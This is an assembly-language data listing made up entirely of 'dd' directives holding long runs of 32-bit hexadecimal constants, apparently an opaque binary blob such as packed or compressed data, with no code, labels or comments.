dd 0E65E5600h, 90EEE7B3h, 0A54C0006h, 66425158h, 7700108Ch
dd 40F2DF53h, 1C718737h, 0C24A0923h, 0D6DC722Eh, 0A66E5440h
dd 9A5C3F00h, 0E53CCFE2h, 60752E1Ah, 52760068h, 0C3A081C8h
dd 0A989E000h, 47390DDBh, 54790006h, 0DA2577FCh, 21166A2Eh
dd 50000B55h, 0B66EAEBBh, 0E118003Bh, 17C253EDh, 0B000A9C7h
dd 0DF1FC80h, 2B6D9Dh, 140136E7h, 19627DE6h, 1534991Ch
dd 312EE203h, 1826F904h, 1E4DEAD0h, 40B42716h, 22082314h
dd 0FC00AE20h, 57D3072Dh, 3DEA12h, 0B15D8911h, 3B0FD421h
dd 0CD5CC874h, 4B70095h, 0F6476B4Ch, 4264001Bh, 43679EE8h
dd 0E21D3CA5h, 9AC75365h, 0E0AFF148h, 1DBA6F0Ah, 7AD63B26h
dd 24C4E500h, 4B918B85h, 8DDE9800h, 821B2B7Bh, 254D1C74h
dd 692200D2h, 239E3589h, 0CE4AAA00h, 0EE03E47Bh, 4FB5000Ah
dd 0A26DEB64h, 0C600D7C7h, 0DAD37515h, 73DEBAE6h, 0A32B0E44h
dd 0AC233C07h, 0F190A1D0h, 8CFC1084h, 42796202h, 41D73E25h
dd 0BACD3432h, 1530A4E9h, 9ACB0066h, 40EAF8B3h, 8E036C7Ah
dd 0CCE9F971h, 5C01F079h, 0CD8B58F6h, 0DE218F00h, 0B68226DDh
dd 97FC4200h, 0C91263CFh, 0C21C0E1h, 5984D774h, 905BF817h
dd 0C568C600h, 7A917E1Dh, 382100C0h, 0CEAC6C04h, 60065A3h
dd 613B783Eh, 2280160h, 9B243921h, 0A2402946h, 8200B14Ch
dd 0FCF29DBAh, 1F58D483h, 948C854Eh, 24008C77h, 279B5CCDh
dd 876099DCh, 0AF829410h, 348E002Ah, 4A8C1CD6h, 890E8BA8h
dd 80D352E9h, 0F32144EFh, 1E4300DCh, 1D70DD8Ah, 0C00A7B1h
dd 9AB3C83Fh, 0E3ABBACh, 0F1B2AF1Fh, 1E7CED1Dh, 0E8A19E3Bh
dd 0ABE0E240h, 3C6587h, 273D551Fh, 2760371h, 9FCBBF07h
dd 0B8D0141Ah, 48626147h, 3903246Ah, 3D5769DEh, 66B678E8h
dd 1AC4AD5Bh, 0C1CD4BC0h, 0BABE0F02h, 0A660255Fh, 421C45F2h
dd 0D4963E18h, 1720B98h, 7F9CF53h, 0D0B6C06Ah, 42ECE8ADh
dd 45A7FF13h, 0E022ED07h, 37EF2FE0h, 0A5230077h, 51E6BDE4h
dd 26480A21h, 0DB007CE9h, 7CB2CB39h, 45A0EEh, 89554F65h
dd 83CF5F34h, 805A3F3Ch, 0AAC1A485h, 3D9748FEh, 6F804D1Bh
dd 0D344A9CFh, 0AD1F9212h, 0AB00B28Fh, 7C320E83h, 1C1BF086h
dd 40A40A51h, 8FF51F49h, 6200DA42h, 0C45EE70Eh, 0B81E6431h
dd 93A90012h, 161849D3h, 2005547h, 0A8FE4615h, 0AA3EAFh
dd 2FB8BE2Eh, 290A0D62h, 0D7320200h, 632B3C21h, 4C905EBh
dd 47355233h, 0E7B98FC4h, 0B51F9093h, 0EF006244h, 0F2F15464h
dd 0F6591Bh, 4265C1FBh, 6063CBCFh, 796DDD00h, 0F323DB56h
dd 24AD026Fh, 0CE5A408Ch, 0D2C68480h, 0A80C4564h, 786D9EA2h
dd 0A75D001Eh, 7D1EACDh, 0BE783960h, 0C737BF04h, 50830D09h
dd 763FA120h, 371FFED0h, 0C0B0A766h, 2C9E065Ah, 37BCEF0Fh
dd 0B3C0C028h, 766856EEh, 1EE0F581h, 0CFA71763h, 0F7CB0166h
dd 862AA35Fh, 68907E40h, 622B0248h, 64E278C4h, 28A60880h
dd 3400D82Ah, 38C0176Eh, 260E722h, 0DA0691EAh, 4480631Ch
dd 69427C40h, 0FB7E2E00h, 0C211A4DCh, 0D073074Ch, 7571A90Dh
dd 6AE30083h, 0B1E7A881h, 553CA00h, 80580B36h, 0DAFA86h
dd 63706984h, 7660D9CEh
dd 0A16EE03h, 0A8131B44h, 0CA8B42h, 95A5BDEFh, 0FB6C71D0h
dd 2E796107h, 0D490291Ch, 0FD3514h, 13DC2A0h, 19484E18h
dd 47772C00h, 27D83742h, 0E9DE00DAh, 1C6D954Bh, 0ED005020h
dd 90E3131Fh, 1E7C63h, 442D391Dh, 152A23DAh, 48C6D600h
dd 3B2E9806h, 0FBE4393Ah, 9C6C669Eh, 14114037h, 0D0D2612Fh
dd 17EF7C00h, 0A76081A9h, 0A24E285h, 0A4110BF9h, 353A01BCh
dd 0D0294726h, 0DE0109ABh, 0DD032233h, 17C0D43Dh, 52CD00A5h
dd 6FC28119h, 0CA00A677h, 0C8A47571h, 32A374C4h, 1210C7CFh
dd 5CDA45E0h, 13DE8E1Ch, 183393C0h, 0C53C0Eh, 5004B269h
dd 7D5D76E2h, 0BF9CD700h, 0AF2651B0h, 6BD405CDh, 82C1AEF9h
dd 0CA41274Bh, 314F0B4h, 6CD5F707h, 2F808F19h, 0F30383Ah
dd 6A276763h, 0C29AEEC0h, 4C0064DDh, 3828AB9Ch, 58F8D85h
dd 361CB47Fh, 0C0B9C4BFh, 609D9E2Ch, 523B0A00h, 0D9E46E1Ah
dd 78C800E5h, 756D42DCh, 0F21DC758h, 0A80EA0Eh, 0A796D135h
dd 74C972A6h, 29B80031h, 3402BBCCh, 0A000F17Ch, 0FBD52BB5h
dd 0FCDAEC1Eh, 26B100B7h, 0EF8C520Fh, 0AE00976Bh, 5B128116h
dd 1F8A4411h, 14366C0h, 0EB1D55C3h, 0C3C0319Eh, 0F6D4DF98h
dd 37880800h, 993A07DBh, 51F20014h, 47D52F35h, 0DD045F0Ah
dd 0C8A755FDh, 648B9092h, 0C130139Ch, 0C5180045h, 3E416C31h
dd 0F7466B04h, 909328FAh, 0C2381C18h, 80E65469h, 0D380763Fh
dd 0F0D12C7Fh, 0F5762B74h, 831F4B7Eh, 53265EC0h, 0D24CFB07h
dd 0A8329310h, 14A400CFh, 84CD5BF5h, 0B0A05ED6h, 6A00D8C1h
dd 0FF3B7A7Bh, 0E3507EFh, 7310713Ch, 27D7A7C0h, 0B11D4204h
dd 87406BEEh, 1B81C4E4h, 242E06B3h, 0C0095F7Ch, 3AC2B100h
dd 11950D60h, 83F30058h, 0F0413E67h, 0D02C5040h, 0EC094853h
dd 59040165h, 8345119Ah, 0E8BE6F00h, 2C298D3h, 0EB95E07Dh
dd 0DCC0E276h, 100E9675h, 5BC42h, 45BBA8FCh, 0AC5614F7h
dd 0CC039060h, 0F3D7D4C4h, 508DBAD9h, 737107A8h, 0C15C6F0Eh
dd 15552278h, 0D7BA4091h, 4C267203h, 2001F3D5h, 72FFE25h
dd 0CFC8C3D0h, 23006294h, 0D80D28E2h, 4860D3h, 0F2F9D480h
dd 0A7C201FAh, 0E31A2F01h, 0CFDC4336h, 0C5249088h, 0E01D4A97h
dd 7F2165C0h, 2763CA0h, 0EAAF3913h, 4040ADF8h, 9200B4B3h
dd 0E9F6E6A6h, 3672348h, 0F40DEDBh, 9CF3AF20h, 478108A0h
dd 0C4A6AD0Fh, 0A272A01Ch, 484FE8h, 0C73521F7h, 967DCEBh
dd 0EC2D6B02h, 0C0B51825h, 1C993B0h, 4DAADB2Eh, 0E0E452ACh
dd 2700419Fh, 0B61B1222h, 1240A469h, 40A10DF7h, 0CD0A334h
dd 23E09FBCh, 9D00F8F2h, 0A0F06F75h, 2E4FD73Dh, 1B8CEB3h
dd 0FFFAD8E0h, 0F943C0C0h, 0AB03F00h, 834B5C58h, 0D9C8390Ch
dd 8063791Eh, 52775E24h, 1D00B5A8h, 177EA6BDh, 1C9995Ch
dd 0B9AE9032h, 70FA1A43h, 73C56E0h, 0CCF50069h, 0CBA768D0h
dd 6BD1009Ah, 0AD7FB4B5h, 0C8B8B0ACh, 80009872h, 966C4D40h
dd 0F46F35h, 0C589D80Ch, 1C4AA6DBh, 407FF830h, 30B40F5Dh
dd 0DE11759Bh, 2622FB82h, 3310015h, 0B010EB5Dh, 37181E0Eh
dd 0F690C3BBh, 0E6060077h, 0CE2EA8C8h, 5200B920h, 32CF0F80h
dd 9B10D82h, 7F44CD5Fh, 4AE65C00h, 77167C9Fh, 0A00057E2h
dd 7AD6F40Bh, 0A0FE0047h, 95FB566Ch, 590075E1h, 402804F8h
dd 0F57A2Ch, 35885B63h, 0E52DE225h, 5315960Bh, 1D30A0ADh
dd 2C05731Ch, 7843FB3h, 0B05EFB49h, 6F2057B9h, 0C9414FAh
dd 4147A800h, 0AF7FECh, 9D82E6BCh, 0E940B80Ah, 4CD2F700h
dd 4346231Eh, 9FDE2D98h, 0E300335Eh, 8E30FE41h, 0F0CA00DCh
dd 0AF13D77Ah, 280F2E42h, 40D93385h, 2BD06EF2h, 0DE361F89h
dd 0B4DC3F77h, 1D106480h, 0B901595Ch, 0B30E1C1Ah, 0C0806E18h
dd 0E65A4134h, 35007DD4h, 44B47899h, 0A30C82h, 667E25B7h
dd 0F1B1894Ch, 3C074C98h, 445987E5h, 369100Ch, 0F641CA2Ch
dd 1FBB485h, 89091903h, 86C3E1h, 0CC0B4A69h, 0CF34DB48h
dd 0C0381D09h, 0A194602Dh, 66C95C8Fh, 0C285400h, 0D714F760h
dd 0E4CC0D01h, 9E9205Fh, 0FE4BC0h, 0F345D9D1h, 9419F735h
dd 0C8B0CCE6h, 313E6B14h, 2277269Ch, 22063A00h, 3CA7355h
dd 0DBC46C0Ah, 80872A71h, 0A09B07B7h, 0EA24EEFEh, 0A100282Eh
dd 0DE2D4DDAh, 1E3E0001h, 2FBC5499h, 0CF00EFECh, 0E5D2E944h
dd 0E31C7213h, 196E6880h, 68AD920h, 0A5DCA700h, 0FCD2E617h
dd 0ED9B00EBh, 0F7416643h, 4900F55Ah, 6951AED4h, 9DEA5Fh
dd 0F210B483h, 663CD99h, 0FAD4E407h, 8FA0A715h, 161F116Bh
dd 47CFAAh, 2E20EF1h, 0A100F5B1h, 0DCA9C619h, 9D4A8Ch
dd 90E857BFh, 0D2BD4313h, 7B300100h, 0AE8CE30Bh, 0B89854h
dd 1C0D93C1h, 732692F7h, 0C7684E60h, 4B7566B5h, 402744h
dd 8C91F03Eh, 11053907h, 6CE0ACE0h, 0F0DDEF1h, 80653307h
dd 69060F20h, 1700A299h, 0C953231Bh, 0A73148h, 9180C519h
dd 89E5CA65h, 0D47E1100h, 70EFACA4h, 340F5D63h, 57FFED00h
dd 3FDFAA50h, 0D52D600h, 1482262h, 15970772h, 0AE9DE743h
dd 0B4203B09h, 9820C970h, 0CA55060Fh, 0B048E00Dh, 0DD9A72h
dd 3EAB5E89h, 307AAD2Fh, 7FA23603h, 0F7FEEA3Ah, 0C7CC9C00h
dd 70965C16h, 9F00EC48h, 0E5F3FCD7h, 0F81DF628h, 0EB02CCECh
dd 0C8E7EF32h, 1E02B18h, 7521A1DAh, 0AC208B3Fh, 0D31B6B08h
dd 12C5C320h, 8C82EA10h, 0F803FBE8h, 7450C255h, 805EFB08h
dd 0E626F6h, 0D48198DCh, 2F9EED1Bh, 5BAC9EBh, 8880BCCDh
dd 68AD26DAh, 60FAB66h, 1A35FDDh, 20743F0Ch, 96641FC0h
dd 1EA04418h, 4C37C089h, 73C400ECh, 0BA9DAED8h, 0AA00F8CEh
dd 9E5E3C3Ah, 32E62h, 5DFD2FD2h, 6D1606C3h, 8EA3500h, 687F2272h
dd 0F8735Fh, 0D7E58321h, 0DD54392Eh, 5E5DF400h, 436F4466h
dd 7EB20009h, 23D0AB78h, 8F1FD501h, 0D200AC0Fh, 0A7EC4CBCh
dd 94FE436h, 0A833BD27h, 0BEAF5460h, 0F8668E00h, 0A0C9813Eh
dd 0EAAEE62h, 8382CD55h, 5DF75B81h, 0C881E22Bh, 5061408Dh
dd 94591ECCh, 0D2B26600h, 7DBC84ADh, 4EAC0317h, 0F9C8C4E7h
dd 0EA632909h, 93DC8091h, 0EE2456h, 0E9CB74D0h, 970512B9h
dd 3661C3Eh, 42A03FC8h, 9339005Eh, 0F74C7F9Dh, 0A800C5AAh
dd 0F0D28A08h, 15792E3h, 0C3EBEEFBh, 0DBE08490h, 5BC307CAh
dd 6EC07E9Ah, 669074ADh, 54D0A454h, 3E0D4400h, 379FE178h
dd 69611550h, 8D0084A6h, 0BA604CADh, 1E02974Ah, 6465DA5Ah
dd 527C4970h, 303820h, 0C2B9A876h, 0EDB42E02h, 0B5032277h
dd 0E43E549Dh, 4BF13BE8h, 9425A9h, 1AA184F8h, 8C007CBFh
dd 9D65BB1h, 28F742h, 0A33EB81Dh, 6CC895D5h, 0C5B93C03h
dd 23A56Dh, 135A4FF4h, 0C8835ABh, 8E0FD8F6h, 3A41533h
dd 0C0A11B2Dh, 4A32C6h, 38CB3BAAh, 17061461h, 7023D102h
dd 43639F4Ch, 0C88790C4h, 31E229h, 3A5618FEh, 97F525ADh
dd 8C6A1001h, 0EBB91753h, 4576F8h, 141564CBh, 0B772E6BDh
dd 30A5BF00h, 5638221h, 0D4FB0310h, 0A3EDF4D9h, 60AE1FA8h
dd 2F06F003h, 80A6675Bh, 0C5CECBh, 5A867492h, 4877EDF7h
dd 0A0A20802h, 0E07F1C0Fh, 7021596h, 6EAAC634h, 2D4251A4h
dd 0BA0730D5h, 2414300Eh, 803D6EE5h, 959D09EAh, 28A56164h
dd 70B7BEFDh, 810143ADh, 0E87A77ADh, 0D0803830h, 0C2E93AF7h
dd 37000214h, 1CBFE6DFh, 184A4334h, 88B311CCh, 0D80349FCh
dd 583E0B9Eh
dd 0F1583CBEh, 7681AF3Bh, 2ED46A41h, 4936E06Ch, 0EB1F6900h
dd 7CA9B486h, 0E04026D3h, 77503379h, 0F34320A8h, 5BCE7500h
dd 0F201A9F5h, 0A82D07F6h, 30642550h, 5ECC2039h, 8487B20Ch
dd 0C4370BFh, 8EC1F7C6h, 630078B8h, 0D5D70DB1h, 7E7BB8h
dd 1E48EACEh, 0DF848C15h, 0B045131Dh, 134A040h, 772539Ah
dd 998671DDh, 0FB2630E3h, 0DE0037A3h, 94E06016h, 57A91h
dd 0D47F7EA9h, 0D7ADB839h, 585EBA26h, 0E56E6000h, 26730668h
dd 0FE04007h, 3220FDF8h, 33602151h, 12B44C05h, 5FC0A414h
dd 0F0880Dh, 0BCCBC21Ch, 0BD5C34A1h, 0AAE5E118h, 9178D0h
dd 5B1A55E2h, 7E82F245h, 0CA849CA9h, 6820988Fh, 85D8F5A7h
dd 3B27BC00h, 182F399Ah, 0D66E0F58h, 2A0755BEh, 0AA40DFCAh
dd 7197A4CEh, 761D8B2Ch, 66B8E300h, 45791Fh, 3E418FDAh
dd 0FD9F1628h, 22A53800h, 0A2711ADEh, 6F76248Bh, 400F00A8h
dd 1B6D8A90h, 39900C61h, 1900B8F8h, 28002491h, 0C222610Fh
dd 165C9F7h, 6935C75h, 0EC97EDFAh, 2B01322Fh, 44369137h
dd 7AE017EAh, 95A000DFh, 0EE1624A9h, 7E0046DCh, 3AA46B1Ah
dd 25DF90Ch, 0A0B086F1h, 48408E2Dh, 5C391EBCh, 7151B078h
dd 48ED0D66h, 653F0862h, 0E27F9080h, 0DC511391h, 0C697BF18h
dd 1560F60h, 83E443D3h, 0D85FED28h, 1A12238Ah, 440F3F51h
dd 7191A0B8h, 48D4C82Bh, 2601B0E3h, 5A1BBA97h, 0EF28F5C6h
dd 0F46D90E8h, 0AA198B01h, 0C2DB8E06h, 0E44232ECh, 0D8F548DAh
dd 0FE0B7E00h, 7CEC4776h, 150F948h, 78753B11h, 8C87EF12h
dd 7336FE92h, 0E78855CBh, 0D83E448Ch, 5924269Bh, 384CD600h
dd 0ACF597h, 44493E3Bh, 0F6A3546Bh, 29692C07h, 963121C8h
dd 68602494h, 0F790006h, 0B8A33882h, 0FF1FC752h, 100DFF7h
dd 7569F54h, 3400B541h, 5216BC5h, 8180DD00h, 4A5CA74Fh
dd 0C9FB008Dh, 0CE6CD772h, 6800CC7Bh, 6791F5AEh, 9F375E6h
dd 1A15DF06h, 0DCC9A080h, 0BD1C5A39h, 0B5C0D428h, 0E0F16488h
dd 3C0100FBh, 9ED16108h, 9A00D3CAh, 682DAA3Fh, 7E3714FCh
dd 1DDD00BCh, 835D3CA9h, 72008DBAh, 9CBBA58Fh, 8B3B2Fh
dd 575330C8h, 0C3F1D3ACh, 724A5A01h, 13A044C0h, 0EF4020h
dd 79BE2A2Bh, 2F90E029h, 0AE975800h, 0B4FABD39h, 0D30814B2h
dd 100008B9h, 1796777Ch, 5D07071Dh, 6C36292Ch, 0BE0B16A0h
dd 0D0200AA9h, 79F4240h, 498AB4AAh, 0BD3ED180h, 20004BF9h
dd 9E9D9BEEh, 0B87068A7h, 0C9A01268h, 84884A58h, 7A54028Ch
dd 5468DC8Ch, 0DF10827Bh, 1D009628h, 66981AA7h, 20C0A05Fh
dd 32F539CBh, 12FE0EF8h, 0A9808150h, 0C3A5887Fh, 497ED730h
dd 914675Eh, 0E18A6BE7h, 0DC75000h, 0A8300F2Ah, 91418164h
dd 1F3AFA12h, 80551427h, 535D9BD4h, 49C2DF1Ah, 603A299Eh
dd 0E9F3A8h, 31497F82h, 216185EBh, 0A4D07928h, 0DE23D01h
dd 0B42A442Dh, 839DCh, 881E3706h, 7484C3CFh, 972EA17Fh
dd 72002CCAh, 0AFAD46FFh, 357063h, 3E3DFED0h, 0F6706912h
dd 0A0E96D2Ch, 91D52F80h, 79C99B0Ch, 0E7A0996h, 0EA00FBACh
dd 9858D292h, 1A19AB00h, 637DE277h, 308100BEh, 769EB50h
dd 9300D60Ah, 0B0DB910Eh, 0C71C1h, 0C885C7A6h, 397482Eh
dd 0C2057F03h, 0D010FBB7h, 7D86A84h, 2C8C51ADh, 29C0DE57h
dd 8D3AC75Ch, 0FB356400h, 31464AE8h, 0DE8339E9h, 8F418680h
dd 8D0AA84Dh, 662A9307h, 0A740C80Fh, 0B0CD92CFh, 0A5FADEh
dd 6B6982DFh, 71547028h, 808AC639h, 44C2E27Ah, 738E3h
dd 4DB158B3h, 503AED5Eh, 8017EF39h, 243E5732h, 1D90BDFCh
dd 0C0A5D55Dh, 4DB9911Eh, 2D01B152h, 4754F33Bh, 837004E3h
dd 81842630h, 99F0349h, 0F7F831A3h, 9900E39Dh, 0B7BA988Dh
dd 0D645A8h, 83B39AC9h, 0D5B9AC66h, 0E3CA1100h, 0FE9F10FDh
dd 0B8760098h, 0A7C7FCD3h, 0E400BA45h, 1C46E2DBh, 755AF7EAh
dd 0C13E000Eh, 3AD72270h, 18161F59h, 1E0F7DB2h, 0FD26A0FBh
dd 78FB8D9h, 0DB9B1AE3h, 0B1570065h, 0C4073BF0h, 0D07D82D4h
dd 1DF1E7B6h, 1E570569h, 47D700E2h, 0CFE9D388h, 0E1FF8707h
dd 0D5C6E3F8h, 744E3F18h, 5C863280h, 0B26E63DBh, 0F9855107h
dd 6806CA3h, 90076B93h, 7D8801F1h, 0A84FB8C7h, 0E2688219h
dd 626EFFh, 988857D5h, 0E8565301h, 0C65874D1h, 4A7909Eh
dd 1E2BF83Bh, 0ACB3CF00h, 297DDA4Fh, 4460BC2Fh, 0CF9B285Dh
dd 7702C208h, 0CC8702E7h, 15FA604Ch, 0C6006427h, 4BB01E85h
dd 0F1194h, 26D3BFDEh, 76AECE02h, 62F4FB01h, 5AACB0BCh
dd 58A399C8h, 5200AA65h, 1D0C6E7Bh, 4E98F2B7h, 16FFC507h
dd 682371Ch, 0CCC58053h, 0C01ACF87h, 0C19D42A0h, 4E4CFE39h
dd 58C000E4h, 0C5214799h, 978D1DBEh, 16CCC0E0h, 289F0A78h
dd 7D983500h, 0EF4BB586h, 7B78D7h, 15CE4AEh, 0EB96B620h
dd 1D0E7F00h, 0D994321Ah, 0F5EA009Dh, 139E5B59h, 8AFEB97Ch
dd 6700FDF4h, 0DCCBB025h, 3A1A5991h, 8F00A844h, 0B28E7833h
dd 0ED5C4311h, 65C7003Ah, 0B62267AFh, 8393025Bh, 0E4FFFDD3h
dd 2AE2B4A5h, 6F03EE04h, 0BBF73540h, 9D9470E0h, 3F95B903h
dd 93DA302h, 0D81F8828h, 2DA9B00Eh, 0DB7A9480h, 0E8E4073Ch
dd 4B03C0F6h, 0C973774Dh, 292921ECh, 90038408h, 0EE4E8464h
dd 3944F548h, 9A13C822h, 23F124EDh, 0C4484E2h, 0EFB3445Ch
dd 7942FD48h, 4502504h, 44E2AA28h, 2844C1B9h, 6FF444FFh
dd 48F07C44h, 0BBA44E45h, 14D80A2Bh, 98838108h, 0E8DF51C1h
dd 0FDA13800h, 1A091E8Bh, 3C4E03AAh, 0C5234B28h, 0F0078DB8h
dd 0E2C1E000h, 72116077h, 0AD7A0F2Fh, 0C7E076FEh, 30FA7E9h
dd 1D944900h, 6457E4D4h, 1AB6004Ch, 4E704A28h, 600066F7h
dd 0FCC6D9A4h, 99F20Fh, 4AFD7B44h, 86C402DAh, 13ADD30Ch
dd 0C0162863h, 0B4D1247Ch, 0CE00E8EAh, 2D31D840h, 0FE5ED0h
dd 4B0699F3h, 0CC08D4F4h, 1AE0E100h, 28D18D47h, 320A3040h
dd 960E7C1Ah, 39B40F01h, 0D519BE45h, 20CCF8E1h, 520B0F64h
dd 0B760EE78h, 9B5F1A49h, 86DC4D00h, 7A4C174Ah, 0A22A05FFh
dd 0C0DEEE60h, 0EF55627Ah, 2D854E00h, 6ADA0F6Dh, 5C4B4D48h
dd 62C6AF00h, 585411C4h, 0D000A57Dh, 9FAAED9Eh, 0E3B4BFAh
dd 0BEB7237Eh, 49DFFC20h, 0FD00E564h, 8808E0ACh, 0F622B906h
dd 0E41B8033h, 6B00127Fh, 13A4C7D8h, 0BB6AD9h, 663A16ABh
dd 9CB29EF5h, 0EC29D0Fh, 0EC780041h, 38E9153h, 6AF9FCD6h
dd 0A4903D6Dh, 4A02B965h, 5A997A83h, 20A0806Eh, 785473A8h
dd 4B822C03h, 57183027h, 59B01219h, 0C3D12D00h, 0C6681FAFh
dd 84470F10h, 14000520h, 7E3A12F1h, 0CCC98C00h, 0B2AE26BAh
dd 17F416B6h, 52CD0EC2h, 3E749720h, 60002BA1h, 0B63337FDh
dd 0B8A46Ah, 487FCE79h, 0F37B89E9h, 8300E6EAh, 8E162CADh
dd 1A55738h, 0AF914FC1h, 34ED1395h, 0FF1E8800h, 0BBCAE6h
dd 0C3E4EA8Bh, 678A4h, 993E2D9Eh, 8C5CB9DEh, 0DB104A00h
dd 0E50C9209h, 94C500C4h, 2526D06h, 8A00FB8Bh, 5DB58FF8h
dd 978881h, 0DC114CA1h, 781AF5CCh, 9115F400h, 7A658EF3h
dd 6A3B0EC6h, 0FAE99C52h, 0D8626000h, 0C90026F8h, 2ED2C110h
dd 0FD98D0h, 95A215C7h, 48E0D8D1h, 29FCF950h, 0FFD71B03h
dd 0A0B2B592h, 60C5C3h, 9E8B9785h, 3C7D0ADCh, 54210B67h
dd 0F8DD3F63h, 0EC416E2Bh, 713CBAB0h, 4D7000F9h, 9DD72E62h
dd 6600EB97h, 0E5965D4Fh
dd 0D2F312h, 0E00AAADCh, 3D73466Bh, 0E63AB892h, 4E851CBBh
dd 3C00681Eh, 0F9AFE5A1h, 15930752h, 0F0A05082h, 55A99FD7h
dd 0D10E3C7Eh, 0C72C537Eh, 0F8E0637Fh, 0E35949h, 0E0FC7710h
dd 0AD2BC712h, 0EF00B677h, 8A85863Dh, 38EC681Eh, 8926B836h
dd 0C6A1C2Ch, 52606F55h, 0DAC61D1Ch, 9D134500h, 3B506C9h
dd 0F6FA0B90h, 0E8074F49h, 6D216214h, 868746D0h, 0FE7700D0h
dd 49027CA4h, 7E050A2Ch, 0FD3BB765h, 47A588C0h, 30D80028h
dd 0CE5AEE75h, 27001E57h, 3CA48EE7h, 0A0B501D1h, 47A00DF4h
dd 86260095h, 0F6ED198Eh, 687C003Fh, 70DEE1A4h, 0A7003166h
dd 4B224A3Ah, 3BE6963Eh, 0EAAAB7A1h, 55F2ACh, 7184A575h
dd 2966D8B3h, 0C4335101h, 8DF9BFB8h, 0E730BC41h, 500420h
dd 6585299Fh, 56B91E4Eh, 9E95DD03h, 817C7A97h, 1180D83Eh
dd 5FBF434Ch, 3824FD2Dh, 6004042Ah, 1E075B86h, 0CA7ED058h
dd 0F200F372h, 0D1D6A9E5h, 45BDA0Bh, 5F40A38Ch, 403AA173h
dd 0DEB8BA34h, 0D80074FEh, 0AC0E6ADDh, 2C3BC81Bh, 83B0292Ah
dd 0CA86F09Ah, 0D475A6D8h, 0BE62C501h, 717BA28Ch, 76B8C0h
dd 4EFA5CAFh, 0ED1472D5h, 0E8012873h, 0A810C2Ch, 0A8FB64C7h
dd 26217645h, 0C3FE2h, 0D5078697h, 3B00A922h, 0AD0F0EE0h
dd 750CA545h, 81E961A0h, 65473598h, 81B0FBF8h, 0FF00ED09h
dd 0CA8B9355h, 0F7BEA7h, 0D1F97FCDh, 0B31BB8D7h, 960155E8h
dd 0F271F6D9h, 3C3753A1h, 0EB00F03Bh, 9ECDE6C9h, 563E2D65h
dd 9DF980DAh, 98256850h, 2E78077Ah, 72A31138h, 44C00AFEh
dd 9400BD69h, 0C4C5877Fh, 2A3225h, 0D39CCF82h, 6FF90ED2h
dd 0D5722F00h, 0FDDA1638h, 0A46138E7h, 37A8C038h, 8EB500FCh
dd 6D464770h, 9002FE9h, 21FC4A93h, 7C7E38h, 98DDEA05h
dd 37BDED69h, 0FA67AC14h, 89B0988h, 2D6400C9h, 7D583CD5h
dd 0C16B1D43h, 2AF54367h, 0D099DBF1h, 53ACC031h, 839C7204h
dd 0DBE049B8h, 98B10069h, 4218F09Dh, 0AF0081BFh, 0DC7CB2B3h
dd 600A2729h, 0D1F2E861h, 0E4148993h, 7AB04D35h, 5AB8E71Eh
dd 847400FEh, 58C0A7EFh, 3020CCCh, 4848B043h, 1E621B0Ch
dd 0C5C115Fh, 30B1FC1Fh, 3303EF59h, 7C0F80BFh, 9A2CE807h
dd 99FB0014h, 9CCA19ECh, 4E016D51h, 0BA6FDF9Bh, 0E7C96BBBh
dd 2C4DBED8h, 40D074B2h, 0D22B45CBh, 8020343Ah, 8F849824h
dd 98D03F75h, 0F3E20045h, 503E0B9Bh, 0BF1D0FDCh, 0B1409395h
dd 6E9424B2h, 0E4CD0E7Fh, 286F8F0Ch, 49380880h, 0D40023C4h
dd 0A6774CF9h, 0EA901E0Dh, 0CE11024Ah, 5525740Ch, 4ECC4840h
dd 0E9F52A00h, 8B96DC1Bh, 0AAECED04h, 0D49100EEh, 1F8CC7E2h
dd 441E1850h, 7080DDA1h, 0D8B06BF9h, 0E2A600C9h, 76B25187h
dd 8913E3CDh, 48019E96h, 0F97DA895h, 3800E022h, 0BAA38290h
dd 9C00C6F0h, 2FA5DA13h, 0A78B43h, 0D99DF675h, 76A92EDEh
dd 4C3EFC00h, 49546009h, 50F237h, 0BB3D8A27h, 620C0B6Eh
dd 5C40E6FDh, 4A002543h, 0C4164928h, 130301h, 0FC59ECB9h
dd 86C310DAh, 901A2E8h, 4807CB65h, 6820DBB0h, 0D87100AFh
dd 6E49ECC2h, 0AE01C64Eh, 6D0486E1h, 80BBABE5h, 0F4134B00h
dd 275F0EE4h, 58B9D4FBh, 34EA9900h, 299B32E6h, 2C40B707h
dd 101CC361h, 62400ECFh, 121C9786h, 768CC259h, 5CE33952h
dd 9B0E3CB0h, 0ECCB1A00h, 595DF9F6h, 0EBE10002h, 9994DC7Bh
dd 0DB30B537h, 0A2DE3016h, 7F98C3E5h, 49B09217h, 9107A671h
dd 88621DFFh, 0F8CC6DB3h, 0F6640B5Ah, 4A590114h, 456C8982h
dd 0CEA4F87Ah, 3E6A9F00h, 8784028Ah, 0C7EF167Fh, 83AB0FD7h
dd 57396400h, 6E0577BAh, 4C720C95h, 0A632FD00h, 1F499F62h
dd 1F8483C5h, 136709E3h, 0C9A0080h, 6F00D791h, 0D9FA999h
dd 0BFEE277Fh, 2400FD70h, 0BFCC3D17h, 13D7AFFCh, 8BB2D8h
dd 6457EDEBh, 0C02E7D44h, 0F1007B92h, 8E8214BEh, 360E00CDh
dd 0D3BCC968h, 879C6DAh, 1CADD3Ch, 62EAF0BBh, 68872D06h
dd 92C7105Fh, 0B86459A3h, 0D7CAD408h, 4F138037h, 0B866CB53h
dd 55D52016h, 2AA72400h, 0EAA994ADh, 3448008Ah, 0DB7A364Eh
dd 4B00971Fh, 6AAFB9E9h, 9F8F5Eh, 603805ACh, 135C1229h
dd 0C71EFC00h, 0EC6EB2F4h, 4BCF2563h, 0EF20EE40h, 51066000h
dd 0A499365Fh, 1C1932CAh, 77638298h, 0AC6211C8h, 0FB306E01h
dd 2DB57087h, 4C97F834h, 65004C46h, 3504F87Dh, 8E036151h
dd 0B2CA360Dh, 33EAB819h, 14E8EA94h, 0A4E7F531h, 67478805h
dd 2EE89041h, 4C058BFBh, 175112D6h, 0C988EB80h, 4C544C1Eh
dd 0DDE52503h, 0DFF8455Bh, 0FE1FF991h, 3F54407Fh, 0FCF800DAh
dd 19AA7D8Dh, 0E13A004Fh, 0C1DE6511h, 0B83A5C5Dh, 39CF1245h
dd 0EFD07000h, 0F19B7Bh, 87A96FF8h, 0D499F3FCh, 27BDCB00h
dd 0E058077Dh, 9E210328h, 0A9AA702Ch, 0AD839FF0h, 0D80B7812h
dd 40FAE20Bh, 5A726652h, 54640701h, 0F34BC04Ah, 6400D0D1h
dd 2DB171BEh, 49C0B39h, 0CA27E676h, 0F131804Eh, 0E8008DCFh
dd 2695C4DCh, 99C53A98h, 136B2404h, 96C126Bh, 0E58BD0E8h
dd 0D1607090h, 7300207Ch, 0C4E08BFDh, 72F155h, 7785435Dh
